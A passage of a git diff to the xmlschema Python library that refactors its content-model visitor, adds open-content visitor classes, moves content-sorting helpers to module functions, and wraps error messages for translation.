raise XMLSchemaValueError(f"can't advance, {self!r} is ended!") + + item = self.element + occurs = self.occurs + item_occurs = occurs[item] if match: - occurs[element] += 1 + occurs[item] += 1 self.match = True if self.group.model == 'all': - self.items = (e for e in self.group.iter_elements() if not e.is_over(occurs[e])) - elif not element.is_over(occurs[element]): - return - elif self.group.model == 'choice' and element.is_ambiguous(): + self.items = self.iter_group() + elif not item.is_over(occurs) or \ + self.group.model == 'choice' and item.is_ambiguous(): return - obj = None try: - element_occurs = occurs[element] - if stop_item(element): - yield element, element_occurs, [element] + if stop_item(): + yield model_error_tuple() while True: - while self.group.is_over(max(occurs[self.group], occurs[(self.group,)])): - stop_item(self.group) - - obj = next(self.items, None) - if isinstance(obj, groups.XsdGroup): - # inner 'sequence' or 'choice' XsdGroup - self._groups.append((self.group, self.items, self.match)) - self.group = obj - self.items = self.iter_group() - self.match = False - occurs[obj] = occurs[(obj,)] = 0 - - elif obj is not None: - # XsdElement or XsdAnyElement - self.element = obj - if self.group.model == 'sequence': - occurs[obj] = 0 - return - - elif not self.match: - if self.group.model == 'all': - if all(e.min_occurs <= occurs[e] for e in self.group.iter_elements()): - occurs[self.group] = 1 - - group, expected = self.group, self.expected - if stop_item(group) and expected: - yield group, occurs[group], expected - - elif self.group.model != 'all': - self.items, self.match = self.iter_group(), False - elif any(e.min_occurs > occurs[e] for e in self.group.iter_elements()): - if not self.group.min_occurs: - yield self.group, occurs[self.group], self.expected - self.group, self.items, self.match = self._groups.pop() - elif any(not e.is_over(occurs[e]) for e in self.group): - self.items = self.iter_group() - self.match = False + while self.group.is_over(occurs): + item = self.group + stop_item() + + for obj in self.items: + if isinstance(obj, groups.XsdGroup): + # inner 'sequence' or 'choice' XsdGroup + self._groups.append((self.group, self.items, self.match)) + self.group = obj + self.items = self.iter_group() + self.match = False + occurs[obj] = occurs[obj.oid] = 0 + break + else: + # XsdElement or XsdAnyElement + self.element = obj + if self.group.model == 'sequence': + occurs[obj] = 0 + return else: - occurs[self.group] = 1 + if self.match: + self.items, self.match = self.iter_group(), False + elif self.group.model == 'all': + self.group, self.items, self.match = self._groups.pop() + else: + item = self.group + if stop_item(): + yield model_error_tuple() except IndexError: # Model visit ended self.element = None - if self.group.is_missing(max(occurs[self.group], occurs[(self.group,)])): - if self.group.model == 'choice': - yield self.group, occurs[self.group], self.expected - elif self.group.model == 'sequence': - if obj is not None: - yield self.group, occurs[self.group], self.expected - elif any(e.min_occurs > occurs[e] for e in self.group): - yield self.group, occurs[self.group], self.expected - elif self.group.max_occurs is not None and self.group.max_occurs < occurs[self.group]: + if self.group.model == 'all': + yield from self._iter_all_model_errors(occurs) + elif self.group.is_missing(occurs) or self.group.is_exceeded(occurs): yield self.group, occurs[self.group], self.expected - def sort_content(self, content: EncodedContentType, restart: bool = True) \ - -> List[ContentItemType]: - if restart: - self.restart() - return [(name, value) for name, value in self.iter_unordered_content(content)] + def _iter_all_model_errors(self, occurs: OccursCounterType) -> Iterator[AdvanceYieldedType]: + """Validate occurrences in an 'all' model, yielding error tuples.""" + stack: List[Tuple[groups.XsdGroup, Iterator[ModelParticleType]]] = [] + group = self.group if self.group.ref is None else self.group.ref + particles = iter(group) + zero_missing: List[Tuple[groups.XsdGroup, ModelParticleType]] = [] - def iter_unordered_content( - self, content: EncodedContentType, - default_namespace: Optional[str] = None) -> Iterator[ContentItemType]: - """ - Takes an unordered content stored in a dictionary of lists and yields the - content elements sorted with the ordering defined by the model. Character - data parts are yielded at start and between child elements. - - Ordering is inferred from ModelVisitor instance with any elements that - don't fit the schema placed at the end of the returned sequence. Checking - the yielded content validity is the responsibility of method *iter_encode* - of class :class:`XsdGroup`. - - :param content: a dictionary of element names to list of element contents \ - or an iterable composed of couples of name and value. In case of a \ - dictionary the values must be lists where each item is the content \ - of a single element. - :param default_namespace: the default namespace to apply for matching names. - """ - consumable_content: Dict[str, Any] + while True: + for item in particles: + if occurs[item]: + occurs[group] = 1 - if isinstance(content, dict): - cdata_content = sorted( - ((k, v) for k, v in content.items() if isinstance(k, int)), reverse=True - ) - consumable_content = {k: deque(v) for k, v in content.items() if not isinstance(k, int)} - else: - cdata_content = sorted(((k, v) for k, v in content if isinstance(k, int)), reverse=True) - consumable_content = defaultdict(deque) - for k, v in content: - if isinstance(k, str): - consumable_content[k].append(v) - - if cdata_content: - yield cdata_content.pop() - - while self.element is not None and consumable_content: # pragma: no cover - for name in consumable_content: - if self.element.is_matching(name, default_namespace, group=self.group): - yield name, consumable_content[name].popleft() - if not consumable_content[name]: - del consumable_content[name] - for _ in self.advance(True): - pass - if cdata_content: - yield cdata_content.pop() + if isinstance(item, groups.XsdGroup): + if item.max_occurs == 0: + continue + + stack.append((group, particles)) + group = item + particles = iter(item.content) + if len(stack) > limits.MAX_MODEL_DEPTH: + raise XMLSchemaModelDepthError(self.group) break + + if item.is_missing(occurs) or item.is_exceeded(occurs): + if occurs[item]: + yield item, occurs[item], item.get_expected(occurs) + else: + zero_missing.append((group, item)) else: - # Consume the return of advance otherwise we get stuck in an infinite loop. - for _ in self.advance(False): - pass + if group.is_missing(occurs) or group.is_exceeded(occurs): + if occurs[group] or not stack: + yield group, occurs[group], group.get_expected(occurs) + else: + zero_missing.append((stack[-1][0], group)) - # Add the remaining consumable content onto the end of the data. - for name, values in consumable_content.items(): - for v in values: - yield name, v - if cdata_content: - yield cdata_content.pop() + if not stack: + break + group, particles = stack.pop() + + # Late check on missing items that never occurs + for group, item in zero_missing: + if occurs[group]: + yield item, occurs[item], item.get_expected(occurs) + + # Kept for backward compatibility + def iter_unordered_content( + self, content: EncodedContentType, + default_namespace: Optional[str] = None) -> Iterator[ContentItemType]: + + msg = f"{self.__class__.__name__}.iter_unordered_content() method will " \ + "be removed in v4.0, use iter_unordered_content() function instead." + if default_namespace is not None: + msg += " Don't provide default_namespace argument, it's ignored." + warnings.warn(msg, DeprecationWarning, stacklevel=2) - while cdata_content: - yield cdata_content.pop() + return iter_unordered_content(content, self.root) def iter_collapsed_content( - self, content: Iterable[Tuple[Union[int, str], Any]], + self, content: Iterable[ContentItemType], default_namespace: Optional[str] = None) -> Iterator[ContentItemType]: + + msg = f"{self.__class__.__name__}.iter_collapsed_content() method will " \ + "be removed in v4.0, use iter_collapsed_content() function instead." + if default_namespace is not None: + msg += " Don't provide default_namespace argument, it's ignored." + warnings.warn(msg, DeprecationWarning, stacklevel=2) + + return iter_collapsed_content(content, self.root) + + ### + # Additional properties and methods, not used by validation. These methods can + # be used ad helpers for a content model builder. + + def __copy__(self) -> 'ModelVisitor': + model: 'ModelVisitor' = object.__new__(self.__class__) + model.root = self.root + model.element = self.element + model.group = self.group + model.match = self.match + model.occurs = self.occurs.copy() + + # Can't copy iterators so create new ones and iter them at the same item + model._groups = [] + group = self.group + + for parent, _items, match in reversed(self._groups): + items = iter(parent if parent.ref is None else parent.ref) + for obj in items: + if obj is group: + model._groups.append((parent, items, match)) + group = parent + break + + model._groups.reverse() + + model.items = model.iter_group() + for obj in model.items: + if obj is model.element: + break + + return model + + @property + def stoppable(self) -> bool: + """Returns `True` if the model is stoppable from the current status without errors.""" + if self.element is None: + return True + + model = copy(self) + for _error in model.stop(): + return False + else: + return True + + def get_model_particle(self, particle: Optional[ModelParticleType] = None) \ + -> ModelParticleType: + """ + Checks if the provided particle belongs to the current model, raising + a `XMLSchemaModelError` in case if it's not. Defaults to current element + if no particle is provided, raising a `XMLSchemaValueError` if the model + is ended. + """ + if particle is not None: + for _group in self.root.get_subgroups(particle): + break + return particle + elif self.element is not None: + return self.element + else: + raise XMLSchemaValueError(f"can't defaults to current element, {self!r} is ended!") + + def overall_min_occurs(self, particle: Optional[ModelParticleType] = None) -> int: """ - Iterates a content stored in a sequence of couples *(name, value)*, yielding - items in the same order of the sequence, except for repetitions of the same - tag that don't match with the current element of the :class:`ModelVisitor` - instance. These items are included in an unsorted buffer and yielded asap - when there is a match with the model's element or at the end of the iteration. - - This iteration mode, in cooperation with the method *iter_encode* of the class - XsdGroup, facilitates the encoding of content formatted with a convention that - collapses the children with the same tag into a list (eg. BadgerFish). - - :param content: an iterable containing couples of names and values. - :param default_namespace: the default namespace to apply for matching names. + Returns the overall min occurs of a particle in the model subtracting the + occurrences already registered by the occurs counter. Defaults to current + element. """ - prev_name = None - unordered_content: Dict[str, Any] = defaultdict(deque) + particle = self.get_model_particle(particle) + min_occurs = 1 + for group in self.root.get_subgroups(particle): + group_min_occurs = group.min_occurs - self.occurs[group] + if group_min_occurs <= 0 or group.model == 'choice' and len(group) > 1: + return 0 + min_occurs *= group_min_occurs - for name, value in content: - if isinstance(name, int) or self.element is None: - yield name, value + return max(0, min_occurs * particle.min_occurs - self.occurs[particle]) + + def overall_max_occurs(self, particle: Optional[ModelParticleType] = None) -> Optional[int]: + """ + Returns the overall max occurs of a particle in the model subtracting the + occurrences already registered by the occurs counter. Defaults to current + element. + """ + particle = self.get_model_particle(particle) + max_occurs: Optional[int] = 1 + + for group in self.root.get_subgroups(particle): + group_max_occurs = group.max_occurs + if group_max_occurs == 0: + return 0 + elif max_occurs is None: continue + elif group_max_occurs is None: + max_occurs = None + else: + group_max_occurs -= self.occurs[group] + if group_max_occurs <= 0: + return 0 + max_occurs *= group_max_occurs + + if particle.max_occurs == 0: + return 0 + elif particle.max_occurs is None or max_occurs is None: + return None + else: + return max_occurs * particle.max_occurs - self.occurs[particle] - while self.element is not None: - if self.element.is_matching(name, default_namespace, group=self.group): - yield name, value - prev_name = name - for _ in self.advance(True): - pass - break + def is_optional(self, particle: Optional[ModelParticleType] = None) -> bool: + """ + Tests if the particle can be omitted in the current model status. + Defaults to current element. + """ + particle = self.get_model_particle(particle) + return self.overall_min_occurs(particle) == 0 - for key in unordered_content: - if self.element.is_matching(key, default_namespace, group=self.group): - break - else: - if prev_name == name: - unordered_content[name].append(value) - break + def is_missing(self, particle: Optional[ModelParticleType] = None) -> bool: + """ + Tests if particle occurrences are under the minimum. If the argument is + `None` then tests the current element. + """ + return self.get_model_particle(particle).is_missing(self.occurs) - for _ in self.advance(False): - pass - continue + def is_over(self, particle: Optional[ModelParticleType] = None) -> bool: + """ + Tests if particle occurrences are equal or over the maximum. If the + argument is `None` then tests the current element. + """ + return self.get_model_particle(particle).is_over(self.occurs) - try: - yield key, unordered_content[key].popleft() - except IndexError: - del unordered_content[key] + def is_exceeded(self, particle: Optional[ModelParticleType] = None) -> bool: + """ + Tests if particle occurrences are over the maximum. If the argument + is `None` then tests the current element. + """ + return self.get_model_particle(particle).is_exceeded(self.occurs) + + def advance_to(self, element: SchemaElementType) -> Iterator[AdvanceYieldedType]: + """ + Advances to the XSD element of the model. Stops after an error in advancing. + If the elements hasn't residual occurs or if the model ends before the XSD + element is reached throws an `XMLSchemaValueError`. + """ + if self.overall_max_occurs(element) == 0: + raise XMLSchemaValueError(f"{self!r} hasn't residual occurs") + + _err: Optional[AdvanceYieldedType] = None + while True: + if _err is not None: + return + elif self.element is None: + raise XMLSchemaValueError(f"can't advance, {self!r} is ended!") + elif self.element is element: + return + else: + for _err in self.advance(False): + yield _err + + def advance_until(self, target: Union[str, SchemaElementType], + occurs: int = 1) -> Iterator[AdvanceYieldedType]: + """ + Advances until an element matching `target` is found. Stops after + an error in advancing. If the model ends before the tag is found, + it throws an `XMLSchemaValueError`. + + :param target: can be a tag or an XSD element/wildcard of the model. + :param occurs: number of occurrences to consume for target element, \ + for default consumes one occurrence. The consumed occurrences can be \ + non-consecutive. + """ + _err: Optional[AdvanceYieldedType] = None + while True: + if _err is not None: + return + elif self.element is None: + raise XMLSchemaValueError(f"can't advance, {self!r} is ended!") + elif isinstance(target, str): + while self.match_element(target): + if occurs >= 1: + yield from self.advance(True) + occurs -= 1 + if occurs <= 0: + return else: - for _ in self.advance(True): - pass + for _err in self.advance(False): + yield _err else: + while target is self.element: + if occurs >= 1: + yield from self.advance(True) + occurs -= 1 + if occurs <= 0: + return + else: + for _err in self.advance(False): + yield _err + + def check_following(self, *steps: StepType) -> bool: + """ + Returns `True` if the model can be advanced without errors applying + the provided sequence of steps. + + :param steps: sequence of steps to apply, each step can be an XSD element \ + of the model or a tag, or the same info coupled with a non-negative integer \ + that represents the occurs to be applied on the element (1 for default). + """ + if not steps: + raise XMLSchemaTypeError("at least one step must be provided") + + model = copy(self) + for step in steps: + target, occurs = step if isinstance(step, tuple) else (step, 1) + + try: + for _err in model.advance_until(target, occurs): + return False + except XMLSchemaValueError: + return False + else: + return True + + def advance_safe(self, *steps: str) -> bool: + """ + Advance the model with the provided sequence of steps if the advance doesn't + produce errors or the ending of the model. Returns `True` if the advance has + been done, `False` otherwise. + """ + if not self.check_following(*steps): + return False + + for step in steps: + target, occurs = step if isinstance(step, tuple) else (step, 1) + for _err in self.advance_until(target, occurs): + raise XMLSchemaRuntimeError("Unexpected advance error") + else: + return True + + +class InterleavedModelVisitor(ModelVisitor): + """ + A visitor for openContent interleaved models. Memorizes an internal state + for deciding when to advance the model. The model doesn't advance if the + last match_element() call is with the wildcard. + """ + __slots__ = 'wildcard', '_advance_model' + + def __init__(self, root: ModelGroupType, wildcard: XsdAnyElement) -> None: + super().__init__(root) + self.wildcard = wildcard + self._advance_model = True + if self.element is None: + self.element = wildcard + + def clear(self) -> None: + super().clear() + self._advance_model = True + if self.element is None: + self.element = self.wildcard + + def match_element(self, tag: str) -> Optional[SchemaElementType]: + xsd_element = super().match_element(tag) + if xsd_element is not None or self.element is self.wildcard: + return xsd_element + elif not self.wildcard.is_matching(tag, group=self.root, occurs=self.occurs): + return None + + for xsd_element in self.group.iter_elements(): + if xsd_element.is_matching(tag, group=self.root, occurs=self.occurs): + if not xsd_element.is_over(self.occurs): + return None + else: + if self.wildcard.process_contents != 'strict' or tag in self.root.maps.elements: + self._advance_model = False + return self.wildcard + return None + + def advance(self, match: bool = False) -> Iterator[AdvanceYieldedType]: + if self.element is None: + yield from super().advance(match) + elif self.element is self.wildcard: + if not match: + self.element = None + elif not self._advance_model: + self._advance_model = True + else: + yield from super().advance(match) + if self.element is None: + self.element = self.wildcard + + +class SuffixedModelVisitor(ModelVisitor): + """A visitor for openContent suffixed models.""" + + __slots__ = 'wildcard', + + def __init__(self, root: ModelGroupType, wildcard: XsdAnyElement) -> None: + super().__init__(root) + self.wildcard = wildcard + if self.element is None: + self.element = wildcard + + def clear(self) -> None: + super().clear() + if self.element is None: + self.element = self.wildcard + + def advance(self, match: bool = False) -> Iterator[AdvanceYieldedType]: + if self.element is None: + yield from super().advance(match) + elif self.element is not self.wildcard: + yield from super().advance(match) + if self.element is None: + self.element = self.wildcard + elif not match: + self.element = None + + +# +# Functions for manipulating encoded content + +def iter_unordered_content(content: EncodedContentType, group: ModelGroupType) \ + -> Iterator[ContentItemType]: + """ + Takes an unordered content stored in a dictionary of lists and yields the + content elements sorted with the ordering defined by the model group. Character + data parts are yielded at start and between child elements. + + Ordering is inferred from ModelVisitor instance with any elements that + don't fit the schema placed at the end of the returned sequence. Checking + the yielded content validity is the responsibility of method *iter_encode* + of class :class:`XsdGroup`. + + :param content: a dictionary of element names to list of element contents \ + or an iterable composed of couples of name and value. In case of a \ + dictionary the values must be lists where each item is the content \ + of a single element. + :param group: the model group related to content. + """ + consumable_content: Dict[str, Any] + + if isinstance(content, MutableMapping): + cdata_content = sorted( + ((k, v) for k, v in content.items() if isinstance(k, int)), reverse=True + ) + consumable_content = { + k: deque(v) if isinstance(v, MutableSequence) else deque([v]) + for k, v in content.items() if not isinstance(k, int) + } + else: + cdata_content = sorted(((k, v) for k, v in content if isinstance(k, int)), reverse=True) + consumable_content = defaultdict(deque) + for k, v in content: + if isinstance(k, str): + consumable_content[k].append(v) + + if cdata_content: + yield cdata_content.pop() + + model = ModelVisitor(group) + while model.element is not None and consumable_content: # pragma: no cover + for name in consumable_content: + if model.element.is_matching(name, group=group): + yield name, consumable_content[name].popleft() + if not consumable_content[name]: + del consumable_content[name] + for _err in model.advance(True): + pass + if cdata_content: + yield cdata_content.pop() + break + else: + # Consume the return of advance otherwise we get stuck in an infinite loop. + for _err in model.advance(False): + pass + + # Add the remaining consumable content onto the end of the data. + for name, values in consumable_content.items(): + for v in values: + yield name, v + if cdata_content: + yield cdata_content.pop() + + while cdata_content: + yield cdata_content.pop() + + +def sort_content(content: EncodedContentType, group: ModelGroupType) \ + -> List[ContentItemType]: + return [x for x in iter_unordered_content(content, group)] + + +def iter_collapsed_content(content: Iterable[ContentItemType], group: ModelGroupType) \ + -> Iterator[ContentItemType]: + """ + Iterates a content stored in a sequence of couples *(name, value)*, yielding + items in the same order of the sequence, except for repetitions of the same + tag that don't match with the current element of the :class:`ModelVisitor` + instance. These items are included in an unsorted buffer and yielded asap + when there is a match with the model's element or at the end of the iteration. + + This iteration mode, in cooperation with the method *iter_encode* of the class + XsdGroup, facilitates the encoding of content formatted with a convention that + collapses the children with the same tag into a list (e.g. BadgerFish). + + :param content: an iterable containing couples of names and values. + :param group: the model group related to content. + """ + prev_name = None + unordered_content: Dict[str, Any] = defaultdict(deque) + + model = ModelVisitor(group) + for name, value in content: + if isinstance(name, int) or model.element is None: + yield name, value + continue + + while model.element is not None: + if model.element.is_matching(name, group=group): yield name, value prev_name = name + for _err in model.advance(True): + pass + break + + for key in unordered_content: + if model.element.is_matching(key, group=group): + break + else: + if prev_name == name: + unordered_content[name].append(value) + break + + for _err in model.advance(False): + pass + continue + + try: + yield key, unordered_content[key].popleft() + except IndexError: + del unordered_content[key] + else: + for _err in model.advance(True): + pass + else: + yield name, value + prev_name = name - # Add the remaining consumable content onto the end of the data. - for name, values in unordered_content.items(): - for v in values: - yield name, v + # Yields the remaining consumable content after the end of the data. + for name, values in unordered_content.items(): + for v in values: + yield name, v diff --git a/xmlschema/validators/notations.py b/xmlschema/validators/notations.py index 8c6ff37..16cce20 100644 --- a/xmlschema/validators/notations.py +++ b/xmlschema/validators/notations.py @@ -10,6 +10,7 @@ from typing import Optional from ..names import XSD_NOTATION +from ..translation import gettext as _ from ..helpers import get_qname from .xsdbase import XsdComponent @@ -35,14 +36,14 @@ def built(self) -> bool: def _parse(self) -> None: if self.parent is not None: - self.parse_error("a notation declaration must be global") + self.parse_error(_("a notation declaration must be global")) try: self.name = get_qname(self.target_namespace, self.elem.attrib['name']) except KeyError: - self.parse_error("a notation must have a 'name' attribute") + self.parse_error(_("a notation must have a 'name' attribute")) if 'public' not in self.elem.attrib and 'system' not in self.elem.attrib: - self.parse_error("a notation must have a 'public' or a 'system' attribute") + self.parse_error(_("a notation must have a 'public' or a 'system' attribute")) @property def public(self) -> Optional[str]: diff --git a/xmlschema/validators/particles.py b/xmlschema/validators/particles.py index 55ab760..9b4d49c 100644 --- a/xmlschema/validators/particles.py +++ b/xmlschema/validators/particles.py @@ -7,10 +7,12 @@ # # @author Davide Brunato <brunato@sissa.it> # -from typing import Any, Optional, Tuple, Union +from typing import cast, Any, List, Optional, Tuple, Union from ..exceptions import XMLSchemaValueError -from ..aliases import ElementType, ModelParticleType +from ..aliases import ElementType, ModelGroupType, ModelParticleType, \ + OccursCounterType, SchemaElementType +from ..translation import gettext as _ class ParticleMixin: @@ -23,12 +25,16 @@ class ParticleMixin: :ivar min_occurs: the minOccurs property of the XSD particle. Defaults to 1. :ivar max_occurs: the maxOccurs property of the XSD particle. Defaults to 1, \ a `None` value means 'unbounded'. + :cvar oid: an optional secondary unique identifier for tracking occurs. Is \ + set to a unique tuple for XsdGroup instances for tracking higher occurrence \ + in choice and choice-compatible models. """ name: Any maps: Any min_occurs: int = 1 max_occurs: Optional[int] = 1 + oid: Optional[Tuple[ModelGroupType]] = None def __init__(self, min_occurs: int = 1, max_occurs: Optional[int] = 1) -> None: self.min_occurs = min_occurs @@ -42,8 +48,9 @@ def occurs(self) -> Tuple[int, Optional[int]]: def effective_min_occurs(self) -> int: """ A property calculated from minOccurs, that is equal to minOccurs - for elements and may vary for content model groups, in dependance - of group model and structure. + for elements and may vary for content model groups, depending on + the model and the structure of the group. Used for checking + restrictions of model groups in XSD 1.1. """ return self.min_occurs @@ -51,16 +58,17 @@ def effective_min_occurs(self) -> int: def effective_max_occurs(self) -> Optional[int]: """ A property calculated from maxOccurs, that is equal to maxOccurs - for elements and may vary for content model groups, in dependance - of group model and structure. Used for checking restrictions of - xs:choice model groups in XSD 1.1. + for elements and may vary for content model groups, depending on + the model and the structure of the group. Used for checking + restrictions of model groups in XSD 1.1. """ return self.max_occurs def is_emptiable(self) -> bool: """ - Tests if max_occurs == 0. A zero-length model group is considered emptiable. - For model groups the test outcome depends also on nested particles. + Tests if min_occurs == 0. A model group that can have zero-length is + considered emptiable. For model groups the test outcome depends also + on nested particles. """ return self.min_occurs == 0 @@ -90,13 +98,24 @@ def is_univocal(self) -> bool: """Tests if min_occurs == max_occurs.""" return self.min_occurs == self.max_occurs - def is_missing(self, occurs: int) -> bool: - """Tests if provided occurrences are under the minimum.""" - return not self.is_emptiable() if occurs == 0 else self.min_occurs > occurs + def is_missing(self, occurs: OccursCounterType) -> bool: + """Tests if the particle occurrences are under the minimum.""" + return self.min_occurs > occurs[self] - def is_over(self, occurs: int) -> bool: - """Tests if provided occurrences are over the maximum.""" - return self.max_occurs is not None and self.max_occurs <= occurs + def is_over(self, occurs: OccursCounterType) -> bool: + """Tests if particle occurrences are equal or over the maximum.""" + if self.max_occurs is None: + return False + return self.max_occurs <= occurs[self] + + def is_exceeded(self, occurs: OccursCounterType) -> bool: + """Tests if particle occurrences are over the maximum.""" + if self.max_occurs is None: + return False + return self.max_occurs < occurs[self] + + def get_expected(self, occurs: OccursCounterType) -> List[SchemaElementType]: + return [cast(SchemaElementType, self)] if self.min_occurs > occurs[self] else [] def has_occurs_restriction(self, other: Union[ModelParticleType, 'OccursCalculator']) -> bool: if self.min_occurs < other.min_occurs: @@ -118,44 +137,53 @@ def _parse_particle(self, elem: ElementType) -> None: try: min_occurs = int(elem.attrib['minOccurs']) except (TypeError, ValueError): - self.parse_error("minOccurs value is not an integer value") + msg = _("minOccurs value is not an integer value") + self.parse_error(msg) else: if min_occurs < 0: - self.parse_error("minOccurs value must be a non negative integer") + msg = _("minOccurs value must be a non negative integer") + self.parse_error(msg) else: self.min_occurs = min_occurs max_occurs = elem.get('maxOccurs') if max_occurs is None: if self.min_occurs > 1: - self.parse_error("minOccurs must be lesser or equal than maxOccurs") + msg = _("minOccurs must be lesser or equal than maxOccurs") + self.parse_error(msg) elif max_occurs == 'unbounded': self.max_occurs = None else: try: self.max_occurs = int(max_occurs) except ValueError: - self.parse_error("maxOccurs value must be a non negative integer or 'unbounded'") + msg = _("maxOccurs value must be a non negative integer or 'unbounded'") + self.parse_error(msg) else: if self.min_occurs > self.max_occurs: - self.parse_error("maxOccurs must be 'unbounded' or greater than minOccurs") + msg = _("maxOccurs must be 'unbounded' or greater than minOccurs") + self.parse_error(msg) self.max_occurs = None class OccursCalculator: """ - An helper class for adding and multiplying min/max occurrences of XSD particles. + A helper class for adding and multiplying min/max occurrences of XSD particles. """ min_occurs: int max_occurs: Optional[int] + @property + def occurs(self) -> Tuple[int, Optional[int]]: + return self.min_occurs, self.max_occurs + def __init__(self) -> None: self.min_occurs = self.max_occurs = 0 def __repr__(self) -> str: return '%s(%r, %r)' % (self.__class__.__name__, self.min_occurs, self.max_occurs) - def __add__(self, other: ParticleMixin) -> 'OccursCalculator': + def __add__(self, other: Union[ParticleMixin, 'OccursCalculator']) -> 'OccursCalculator': self.min_occurs += other.min_occurs if self.max_occurs is not None: if other.max_occurs is None: @@ -164,7 +192,7 @@ def __add__(self, other: ParticleMixin) -> 'OccursCalculator': self.max_occurs += other.max_occurs return self - def __mul__(self, other: ParticleMixin) -> 'OccursCalculator': + def __mul__(self, other: Union[ParticleMixin, 'OccursCalculator']) -> 'OccursCalculator': self.min_occurs *= other.min_occurs if self.max_occurs is None: if other.max_occurs == 0: @@ -176,5 +204,11 @@ def __mul__(self, other: ParticleMixin) -> 'OccursCalculator': self.max_occurs *= other.max_occurs return self + def __sub__(self, occurs: int) -> 'OccursCalculator': + self.min_occurs = max(0, self.min_occurs - occurs) + if self.max_occurs is not None: + self.max_occurs = max(0, self.max_occurs - occurs) + return self + def reset(self) -> None: self.min_occurs = self.max_occurs = 0 diff --git a/xmlschema/validators/schemas.py b/xmlschema/validators/schemas.py index 8e699f5..74cc28f 100644 --- a/xmlschema/validators/schemas.py +++ b/xmlschema/validators/schemas.py @@ -14,24 +14,21 @@ XMLSchema11 for XSD 1.1. The latter class parses also XSD 1.0 schemas, as prescribed by the standard. """ -import sys -if sys.version_info < (3, 7): - from typing import GenericMeta as ABCMeta -else: - from abc import ABCMeta - +from abc import ABCMeta import os import logging import threading import warnings import re import sys -from copy import copy -from itertools import chain +from copy import copy as _copy, deepcopy +from operator import attrgetter +from pathlib import Path from typing import cast, Callable, ItemsView, List, Optional, Dict, Any, \ Set, Union, Tuple, Type, Iterator, Counter +from xml.etree.ElementTree import Element, ParseError -from elementpath import XPathToken +from elementpath import XPathToken, SchemaElementNode, build_schema_node_tree from ..exceptions import XMLSchemaTypeError, XMLSchemaKeyError, XMLSchemaRuntimeError, \ XMLSchemaValueError, XMLSchemaNamespaceError @@ -42,23 +39,29 @@ XSD_ANY_ATTRIBUTE, XSD_ANY_TYPE, XSD_NAMESPACE, XML_NAMESPACE, XSI_NAMESPACE, \ VC_NAMESPACE, SCHEMAS_DIR, LOCATION_HINTS, XSD_ANNOTATION, XSD_INCLUDE, \ XSD_IMPORT, XSD_REDEFINE, XSD_OVERRIDE, XSD_DEFAULT_OPEN_CONTENT, \ - XSD_ANY_SIMPLE_TYPE, XSD_UNION, XSD_LIST, XSD_RESTRICTION -from ..etree import etree_element, ParseError + XSD_ANY_SIMPLE_TYPE, XSD_UNION, XSD_LIST, XSD_RESTRICTION, XMLNS_NAMESPACE from ..aliases import ElementType, XMLSourceType, NamespacesType, LocationsType, \ SchemaType, SchemaSourceType, ConverterType, ComponentClassType, DecodeType, \ - EncodeType, BaseXsdType, AtomicValueType, ExtraValidatorType, SchemaGlobalType -from ..helpers import prune_etree, get_namespace, get_qname -from ..namespaces import NamespaceResourcesMap, NamespaceView -from ..resources import is_local_url, is_remote_url, url_path_is_file, \ - normalize_locations, fetch_resource, normalize_url, XMLResource + EncodeType, BaseXsdType, ExtraValidatorType, ValidationHookType, UriMapperType, \ + SchemaGlobalType, FillerType, DepthFillerType, ValueHookType, ElementHookType +from ..translation import gettext as _ +from ..helpers import set_logging_level, prune_etree, get_namespace, \ + get_qname, is_defuse_error +from ..namespaces import NamespaceResourcesMap, NamespaceMapper, NamespaceView +from ..locations import is_local_url, is_remote_url, url_path_is_file, \ + normalize_url, normalize_locations +from ..resources import XMLResource from ..converters import XMLSchemaConverter -from ..xpath import XMLSchemaProtocol, XMLSchemaProxy, ElementPathMixin +from ..xpath import XMLSchemaProxy, ElementPathMixin +from ..exports import export_schema from .. import dataobjects -from .exceptions import XMLSchemaParseError, XMLSchemaValidationError, XMLSchemaEncodeError, \ - XMLSchemaNotBuiltError, XMLSchemaIncludeWarning, XMLSchemaImportWarning -from .helpers import get_xsd_derivation_attribute -from .xsdbase import check_validation_mode, XsdValidator, XsdComponent, XsdAnnotation +from .exceptions import XMLSchemaParseError, XMLSchemaValidationError, \ + XMLSchemaEncodeError, XMLSchemaNotBuiltError, XMLSchemaStopValidation, \ + XMLSchemaIncludeWarning, XMLSchemaImportWarning +from .helpers import get_xsd_derivation_attribute, get_xsd_annotation_child +from .xsdbase import XSD_ELEMENT_DERIVATIONS, check_validation_mode, XsdValidator, \ + XsdComponent, XsdAnnotation from .notations import XsdNotation from .identities import XsdIdentity, XsdKey, XsdKeyref, XsdUnique, \ Xsd11Key, Xsd11Unique, Xsd11Keyref, IdentityCounter, KeyrefCounter, IdentityMapType @@ -75,16 +78,17 @@ logger = logging.getLogger('xmlschema') +name_attribute = attrgetter('name') + XSD_VERSION_PATTERN = re.compile(r'^\d+\.\d+$') -DRIVE_PATTERN = re.compile(r'^[a-zA-Z]:$') # Elements for building dummy groups -ATTRIBUTE_GROUP_ELEMENT = etree_element(XSD_ATTRIBUTE_GROUP) -ANY_ATTRIBUTE_ELEMENT = etree_element( +ATTRIBUTE_GROUP_ELEMENT = Element(XSD_ATTRIBUTE_GROUP) +ANY_ATTRIBUTE_ELEMENT = Element( XSD_ANY_ATTRIBUTE, attrib={'namespace': '##any', 'processContents': 'lax'} ) -SEQUENCE_ELEMENT = etree_element(XSD_SEQUENCE) -ANY_ELEMENT = etree_element( +SEQUENCE_ELEMENT = Element(XSD_SEQUENCE) +ANY_ELEMENT = Element( XSD_ANY, attrib={ 'namespace': '##any', @@ -99,30 +103,13 @@ class XMLSchemaMeta(ABCMeta): XSD_VERSION: str - create_meta_schema: Callable[['XMLSchemaMeta', Optional[str]], SchemaType] + create_meta_schema: Callable[['XMLSchemaBase', Optional[str]], SchemaType] def __new__(mcs, name: str, bases: Tuple[Type[Any], ...], dict_: Dict[str, Any]) \ -> 'XMLSchemaMeta': assert bases, "a base class is mandatory" base_class = bases[0] - # For backward compatibility (will be removed in v2.0) - if 'BUILDERS' in dict_: - msg = "'BUILDERS' will be removed in v2.0, provide the appropriate " \ - "attributes instead (eg. xsd_element_class = Xsd11Element)" - warnings.warn(msg, DeprecationWarning, stacklevel=1) - - for k, v in dict_['BUILDERS'].items(): - if k == 'simple_type_factory': - dict_['simple_type_factory'] = staticmethod(v) - continue - - attr_name = 'xsd_{}'.format(k) - if not hasattr(base_class, attr_name): - continue - elif getattr(base_class, attr_name) is not v: - dict_[attr_name] = v - if isinstance(dict_.get('meta_schema'), str): # Build a new meta-schema class and register it into module's globals meta_schema_file: str = dict_.pop('meta_schema') @@ -138,8 +125,9 @@ def __new__(mcs, name: str, 